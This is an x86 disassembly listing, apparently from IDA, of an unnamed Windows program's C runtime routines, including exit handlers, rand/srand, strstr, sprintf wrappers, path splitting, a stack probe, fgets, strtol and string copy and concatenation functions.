		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DBE30, edi
		mov	byte_4DBE2C, bl
		jnz	short loc_41C224
		mov	eax, dword_4DD3BC
		test	eax, eax
		jz	short loc_41C213
		mov	ecx, dword_4DD3B8
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41C212

loc_41C1FF:				; CODE XREF: sub_41C1B3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C207
		call	eax

loc_41C207:				; CODE XREF: sub_41C1B3+50j
		sub	esi, 4
		cmp	esi, dword_4DD3BC
		jnb	short loc_41C1FF

loc_41C212:				; CODE XREF: sub_41C1B3+4Aj
		pop	esi

loc_41C213:				; CODE XREF: sub_41C1B3+3Cj
		push	offset dword_429034
		push	offset dword_42902C
		call	sub_41C24C
		pop	ecx
		pop	ecx

loc_41C224:				; CODE XREF: sub_41C1B3+33j
		push	offset dword_429040
		push	offset dword_429038
		call	sub_41C24C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41C24A
		push	[esp+4+arg_0]
		mov	dword_4DBE34, edi
		nop
		call	near ptr 77E75CB5h

loc_41C24A:				; CODE XREF: sub_41C1B3+85j
		pop	edi
		retn
sub_41C1B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C24C	proc near		; CODE XREF: ___:0041C179p
					; ___:0041C188p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]

loc_41C251:				; CODE XREF: sub_41C24C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41C264
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C25F
		call	eax

loc_41C25F:				; CODE XREF: sub_41C24C+Fj
		add	esi, 4
		jmp	short loc_41C251
; ---------------------------------------------------------------------------

loc_41C264:				; CODE XREF: sub_41C24C+9j
		pop	esi
		retn
sub_41C24C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C266	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C2A6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C2B3
; ---------------------------------------------------------------------------

loc_41C2A6:				; CODE XREF: sub_41C266+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx

loc_41C2B3:				; CODE XREF: sub_41C266+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C266	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2B8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+315Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43AE10, eax
		retn
sub_41C2B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2C2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43AE10
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43AE10, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41C2C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2E0	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41C35A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41C347

loc_41C2F8:				; CODE XREF: sub_41C2E0+52j
					; sub_41C2E0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41C31A
		test	al, al
		jz	short loc_41C314

loc_41C309:				; CODE XREF: sub_41C2E0+32j
		mov	al, [esi]
		inc	esi

loc_41C30C:				; CODE XREF: sub_41C2E0+3Fj
		cmp	al, dl
		jz	short loc_41C31A
		test	al, al
		jnz	short loc_41C309

loc_41C314:				; CODE XREF: sub_41C2E0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41C31A:				; CODE XREF: sub_41C2E0+23j
					; sub_41C2E0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41C30C
		lea	edi, [esi-1]

loc_41C324:				; CODE XREF: sub_41C2E0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41C353
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41C2F8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41C353
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41C324
		jmp	short loc_41C2F8
; ---------------------------------------------------------------------------

loc_41C347:				; CODE XREF: sub_41C2E0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41C996
; ---------------------------------------------------------------------------

loc_41C353:				; CODE XREF: sub_41C2E0+49j
					; sub_41C2E0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C35A:				; CODE XREF: sub_41C2E0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41C2E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C360	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C15p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C39F
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C3AC
; ---------------------------------------------------------------------------

loc_41C39F:				; CODE XREF: sub_41C360+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx

loc_41C3AC:				; CODE XREF: sub_41C360+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C360	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C3B1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+2177p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B9C0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41C3EC
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41C3EC
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41C3E8
		push	2
		push	ebx
		push	esi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+2], 0

loc_41C3E8:				; CODE XREF: sub_41C3B1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41C3F6
; ---------------------------------------------------------------------------

loc_41C3EC:				; CODE XREF: sub_41C3B1+18j
					; sub_41C3B1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C3F6
		and	byte ptr [eax],	0

loc_41C3F6:				; CODE XREF: sub_41C3B1+39j
					; sub_41C3B1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41C46E

loc_41C409:				; CODE XREF: sub_41C3B1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DD281[edx], 4
		jz	short loc_41C41A
		inc	eax
		jmp	short loc_41C434
; ---------------------------------------------------------------------------

loc_41C41A:				; CODE XREF: sub_41C3B1+64j
		cmp	cl, 2Fh
		jz	short loc_41C42E
		cmp	cl, 5Ch
		jz	short loc_41C42E
		cmp	cl, 2Eh
		jnz	short loc_41C434
		mov	[ebp+var_4], eax
		jmp	short loc_41C434
; ---------------------------------------------------------------------------

loc_41C42E:				; CODE XREF: sub_41C3B1+6Cj
					; sub_41C3B1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx

loc_41C434:				; CODE XREF: sub_41C3B1+67j
					; sub_41C3B1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41C409
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41C46E
		cmp	[ebp+arg_8], 0
		jz	short loc_41C469
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C452
		mov	edi, esi

loc_41C452:				; CODE XREF: sub_41C3B1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420B29
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_41C469:				; CODE XREF: sub_41C3B1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41C478
; ---------------------------------------------------------------------------

loc_41C46E:				; CODE XREF: sub_41C3B1+56j
					; sub_41C3B1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41C478
		and	byte ptr [ecx],	0

loc_41C478:				; CODE XREF: sub_41C3B1+BBj
					; sub_41C3B1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41C4CB
		cmp	edi, ebx
		jb	short loc_41C4CB
		cmp	[ebp+arg_C], 0
		jz	short loc_41C4A8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C491
		mov	edi, esi

loc_41C491:				; CODE XREF: sub_41C3B1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420B29
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_41C4A8:				; CODE XREF: sub_41C3B1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41C4F3
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41C4B8
		mov	esi, eax

loc_41C4B8:				; CODE XREF: sub_41C3B1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41C4F3
; ---------------------------------------------------------------------------

loc_41C4CB:				; CODE XREF: sub_41C3B1+CCj
					; sub_41C3B1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41C4E9
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41C4DA
		mov	esi, eax

loc_41C4DA:				; CODE XREF: sub_41C3B1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0

loc_41C4E9:				; CODE XREF: sub_41C3B1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41C4F3
		and	byte ptr [eax],	0

loc_41C4F3:				; CODE XREF: sub_41C3B1+FCj
					; sub_41C3B1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C3B1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C500	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41C520

loc_41C50C:				; CODE XREF: sub_41C500+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41C50C

loc_41C520:				; CODE XREF: sub_41C500+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41C500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C52F	proc near		; CODE XREF: sub_401ACD+73F5p
					; sub_401ACD+7424p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41C543
		xor	eax, eax
		jmp	short loc_41C579
; ---------------------------------------------------------------------------

loc_41C543:				; CODE XREF: sub_41C52F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41C573
		mov	esi, [ebp+arg_8]

loc_41C54C:				; CODE XREF: sub_41C52F+42j
		dec	dword ptr [esi+4]
		js	short loc_41C55B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41C562
; ---------------------------------------------------------------------------

loc_41C55B:				; CODE XREF: sub_41C52F+20j
		push	esi
		call	sub_41F8E3
		pop	ecx

loc_41C562:				; CODE XREF: sub_41C52F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41C57D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41C573
		dec	[ebp+arg_4]
		jnz	short loc_41C54C

loc_41C573:				; CODE XREF: sub_41C52F+18j
					; sub_41C52F+3Dj ...
		and	byte ptr [edi],	0

loc_41C576:				; CODE XREF: sub_41C52F+55j
		mov	eax, ebx
		pop	esi

loc_41C579:				; CODE XREF: sub_41C52F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41C57D:				; CODE XREF: sub_41C52F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41C573
		xor	ebx, ebx
		jmp	short loc_41C576
sub_41C52F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C586	proc near		; CODE XREF: ___:0041E645p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C59D
		add	esp, 10h
		retn
sub_41C586	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C59D	proc near		; CODE XREF: sub_41C586+Ep
					; sub_41C7A5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi

loc_41C5B5:				; CODE XREF: sub_41C59D+46j
		cmp	dword_43D094, 1
		jle	short loc_41C5CD
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C5DC
; ---------------------------------------------------------------------------

loc_41C5CD:				; CODE XREF: sub_41C59D+1Fj
		mov	ecx, off_43CE88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41C5DC:				; CODE XREF: sub_41C59D+2Ej
		test	eax, eax
		jz	short loc_41C5E5
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41C5B5
; ---------------------------------------------------------------------------

loc_41C5E5:				; CODE XREF: sub_41C59D+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41C5F3
		or	[ebp+arg_C], 2
		jmp	short loc_41C5F8
; ---------------------------------------------------------------------------

loc_41C5F3:				; CODE XREF: sub_41C59D+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41C5FE

loc_41C5F8:				; CODE XREF: sub_41C59D+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi

loc_41C5FE:				; CODE XREF: sub_41C59D+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41C795
		cmp	eax, 1
		jz	loc_41C795
		cmp	eax, 24h
		jg	loc_41C795
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41C646
		cmp	bl, 30h
		jz	short loc_41C630
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41C662
; ---------------------------------------------------------------------------

loc_41C630:				; CODE XREF: sub_41C59D+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C643
		cmp	al, 58h
		jz	short loc_41C643
		mov	[ebp+arg_8], 8
		jmp	short loc_41C662
; ---------------------------------------------------------------------------

loc_41C643:				; CODE XREF: sub_41C59D+97j
					; sub_41C59D+9Bj
		mov	[ebp+arg_8], ecx

loc_41C646:				; CODE XREF: sub_41C59D+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41C662
		cmp	bl, 30h
		jnz	short loc_41C662
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C65A
		cmp	al, 58h
		jnz	short loc_41C662

loc_41C65A:				; CODE XREF: sub_41C59D+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi

loc_41C662:				; CODE XREF: sub_41C59D+91j
					; sub_41C59D+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax

loc_41C672:				; CODE XREF: sub_41C59D+16Cj
		cmp	dword_43D094, 1
		movzx	esi, bl
		jle	short loc_41C68A
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C695
; ---------------------------------------------------------------------------

loc_41C68A:				; CODE XREF: sub_41C59D+DFj
		mov	eax, off_43CE88
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41C695:				; CODE XREF: sub_41C59D+EBj
		test	eax, eax
		jz	short loc_41C6A1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41C6D3
; ---------------------------------------------------------------------------

loc_41C6A1:				; CODE XREF: sub_41C59D+FAj
		cmp	dword_43D094, 1
		jle	short loc_41C6B5
		push	edi
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C6C0
; ---------------------------------------------------------------------------

loc_41C6B5:				; CODE XREF: sub_41C59D+10Bj
		mov	eax, off_43CE88
		mov	ax, [eax+esi*2]
		and	eax, edi

loc_41C6C0:				; CODE XREF: sub_41C59D+116j
		test	eax, eax
		jz	short loc_41C70E
		movsx	eax, bl
		push	eax
		call	sub_420BB3
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h

loc_41C6D3:				; CODE XREF: sub_41C59D+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41C70E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41C6F8
		jnz	short loc_41C6F2
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41C6F8

loc_41C6F2:				; CODE XREF: sub_41C59D+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41C701
; ---------------------------------------------------------------------------

loc_41C6F8:				; CODE XREF: sub_41C59D+145j
					; sub_41C59D+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi

loc_41C701:				; CODE XREF: sub_41C59D+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41C672
; ---------------------------------------------------------------------------

loc_41C70E:				; CODE XREF: sub_41C59D+125j
					; sub_41C59D+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41C72C
		test	edx, edx
		jz	short loc_41C726
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax

loc_41C726:				; CODE XREF: sub_41C59D+181j
		and	[ebp+var_8], 0
		jmp	short loc_41C779
; ---------------------------------------------------------------------------

loc_41C72C:				; CODE XREF: sub_41C59D+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41C752
		test	cl, 1
		jnz	short loc_41C779
		and	ecx, 2
		jz	short loc_41C749
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41C752

loc_41C749:				; CODE XREF: sub_41C59D+1A1j
		test	ecx, ecx
		jnz	short loc_41C779
		cmp	[ebp+var_8], eax
		jbe	short loc_41C779

loc_41C752:				; CODE XREF: sub_41C59D+197j
					; sub_41C59D+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DBDEC, 22h
		jz	short loc_41C768
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41C779
; ---------------------------------------------------------------------------

loc_41C768:				; CODE XREF: sub_41C59D+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx

loc_41C779:				; CODE XREF: sub_41C59D+18Dj
					; sub_41C59D+19Cj ...
		test	edx, edx
		jz	short loc_41C782
		mov	eax, [ebp+var_4]
		mov	[edx], eax

loc_41C782:				; CODE XREF: sub_41C59D+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41C790
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax

loc_41C790:				; CODE XREF: sub_41C59D+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41C7A0
; ---------------------------------------------------------------------------

loc_41C795:				; CODE XREF: sub_41C59D+66j
					; sub_41C59D+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C79E
		mov	[eax], edi

loc_41C79E:				; CODE XREF: sub_41C59D+1FDj
		xor	eax, eax

loc_41C7A0:				; CODE XREF: sub_41C59D+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C59D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7A5	proc near		; CODE XREF: sub_401ACD+60F0p
					; sub_401ACD+6931p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C59D
		add	esp, 10h
		retn
sub_41C7A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7BC	proc near		; CODE XREF: sub_401ACD+58ADp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 26901DFh
		nop
		test	eax, eax
		jnz	short loc_41C7D2
		call	near ptr 269096Bh
		nop
		jmp	short loc_41C7D4
; ---------------------------------------------------------------------------

loc_41C7D2:				; CODE XREF: sub_41C7BC+Cj
		xor	eax, eax

loc_41C7D4:				; CODE XREF: sub_41C7BC+14j
		test	eax, eax
		jz	short loc_41C7E3
		push	eax
		call	sub_420C7F
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_41C7E3:				; CODE XREF: sub_41C7BC+1Aj
		xor	eax, eax
		retn
sub_41C7BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7E6	proc near		; CODE XREF: sub_401ACD+5801p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420CE6
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41FF3F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_420D73
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41C7E6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C820	proc near		; CODE XREF: sub_401ACD+1E1Fp
					; sub_401ACD+1E3Ep ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41C841
		xor	eax, eax
		jmp	short loc_41C843
; ---------------------------------------------------------------------------

loc_41C841:				; CODE XREF: sub_41C820+1Bj
		mov	eax, edi

loc_41C843:				; CODE XREF: sub_41C820+1Fj
		cld
		pop	edi
		leave
		retn
sub_41C820	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C850	proc near		; CODE XREF: sub_401ACD+854p
					; ___:0041E5BDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41C881
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41C87F
		jz	short loc_41C881
		dec	ecx
		dec	ecx

loc_41C87F:				; CODE XREF: sub_41C850+29j
		not	ecx

loc_41C881:				; CODE XREF: sub_41C850+9j
					; sub_41C850+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41C850	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C890	proc near		; CODE XREF: sub_401ACD+42Dp
					; sub_401ACD+2FB3p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41C901
sub_41C890	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C8A0	proc near		; CODE XREF: sub_401ACD+436p
					; sub_401ACD+746Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41C8BC

loc_41C8AD:				; CODE XREF: sub_41C8A0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41C8EF
		test	ecx, 3
		jnz	short loc_41C8AD

loc_41C8BC:				; CODE XREF: sub_41C8A0+Bj
					; sub_41C8A0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C8BC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41C8FE
		test	ah, ah
		jz	short loc_41C8F9
		test	eax, 0FF0000h
		jz	short loc_41C8F4
		test	eax, 0FF000000h
		jz	short loc_41C8EF
		jmp	short loc_41C8BC
; ---------------------------------------------------------------------------

loc_41C8EF:				; CODE XREF: sub_41C8A0+12j
					; sub_41C8A0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------

loc_41C8F4:				; CODE XREF: sub_41C8A0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------

loc_41C8F9:				; CODE XREF: sub_41C8A0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------

loc_41C8FE:				; CODE XREF: sub_41C8A0+39j
		lea	edi, [ecx-4]

loc_41C901:				; CODE XREF: sub_41C890+5j
					; sub_41C8A0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41C926

loc_41C90D:				; CODE XREF: sub_41C8A0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41C978
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41C90D
		jmp	short loc_41C926
; ---------------------------------------------------------------------------

loc_41C921:				; CODE XREF: sub_41C8A0+9Ej
					; sub_41C8A0+B8j
		mov	[edi], edx
		add	edi, 4

